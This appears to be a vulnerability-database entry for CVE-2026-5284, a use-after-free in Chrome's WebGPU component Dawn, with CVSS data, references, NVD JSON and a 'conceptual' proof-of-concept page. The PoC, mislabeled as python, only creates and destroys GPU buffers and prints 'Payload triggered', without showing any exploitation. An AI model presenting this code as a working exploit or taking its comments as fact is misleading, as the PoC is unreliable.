CVE-2026-5284

Description

Use after free in Dawn in Google Chrome prior to 146.0.7680.178 allowed a remote attacker who had compromised the renderer process to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 146.0.7680.178

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-5284 (Conceptual)
Target: Google Chrome < 146.0.7680.178
Component: Dawn (WebGPU)
-->
<html>
<body>
<script type="module">
// Check if WebGPU is available
if (!navigator.gpu) {
    alert("WebGPU not supported");
} else {
    const adapter = await navigator.gpu.requestAdapter();
    const device = await adapter.requestDevice();

    // Attempt to trigger UAF in Dawn by creating and destroying buffers rapidly
    // in a specific sequence that exploits the race condition.
    for (let i = 0; i < 1000; i++) {
        const buffer = device.createBuffer({
            size: 1024,
            usage: GPUBufferUsage.MAP_READ | GPUBufferUsage.COPY_DST,
        });
        
        // Explicitly destroy to trigger internal cleanup logic
        buffer.destroy();
        
        // The vulnerability lies in the timing between destroy and potential lingering references
        // in the command encoder or other internal Dawn structures.
    }
    
    console.log("Payload triggered");
}
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5284
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5284
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5284/
[4] VulDB https://vuldb.com/cve/CVE-2026-5284
[5] https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html
[6] https://issues.chromium.org/issues/492139412

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5284", "sourceIdentifier": "[email protected]", "published": "2026-04-01T05:16:01.817", "lastModified": "2026-04-01T17:09:14.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Dawn in Google Chrome prior to 146.0.7680.178 allowed a remote attacker who had compromised the renderer process to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.177", "matchCriteriaId": "55B0324F-7911-403B-8235-D71996B55DFB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/492139412", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}